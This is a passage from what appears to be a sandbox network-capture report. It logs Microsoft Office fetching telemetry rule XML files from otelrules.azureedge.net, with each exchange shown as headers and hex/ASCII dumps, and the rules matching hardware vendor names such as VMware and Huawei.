2024-11-18 16:24:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:06 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 3b26cc7f-901e-007b-713f-38ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162406Z-164f84587bf28gjzhC1DFW35kg00000005y000000000hmma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:06 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:06 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:06 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: ccb6a3a7-001e-0017-1ab5-370c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162406Z-1866b5c5fbb5hnj5hC1DFW18sc000000064000000000nfh3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:06 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:07 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:07 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:07 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e43e0d6e-f01e-0099-649d-379171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162407Z-16547b76f7fqqjnnhC1DFWxv74000000047g00000000u3sv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:07 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:07 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:07 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e177e7ad-c01e-008d-7bb3-392eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162407Z-16547b76f7fd4rc5hC1DFWkzhw00000006ag00000000dv89 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:07 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:07 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:07 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f521cbf-201e-0003-13a0-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162407Z-16547b76f7fkf5v9hC1DFW2y5s000000060g000000001bx9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:07 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:07 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:07 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 0c50c903-401e-005b-7f98-389c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162407Z-1866b5c5fbbr78bbhC1DFWqz2n000000066g000000008w5h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:07 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:08 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 0e1cc1b7-001e-0066-7a9a-36561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162408Z-164f84587bfr8hdmhC1DFWt5nc00000004bg0000000055h8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:08 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 3ed4fa9a-c01e-000b-399a-37e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162408Z-16547b76f7fgvq8chC1DFWhd2w00000006fg00000000y704 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:08 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:08 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 0e86b0ea-b01e-0097-3ed2-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162408Z-16547b76f7fkz9l7hC1DFW35uc000000036g000000002g2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:08 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:08 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:08 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 2f467f27-f01e-003f-23a6-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162408Z-164f84587bf28gjzhC1DFW35kg00000005zg00000000bdhg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:08 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:08 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:08 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 5ed283f4-c01e-0082-577f-38af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162408Z-1866b5c5fbbvz6qbhC1DFWsyms0000000590000000008fc9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:08 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:09 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:09 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6900d7da-401e-00ac-4ed2-370a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162409Z-16547b76f7fht2hfhC1DFWbngg00000006dg00000000fnsn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:09 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
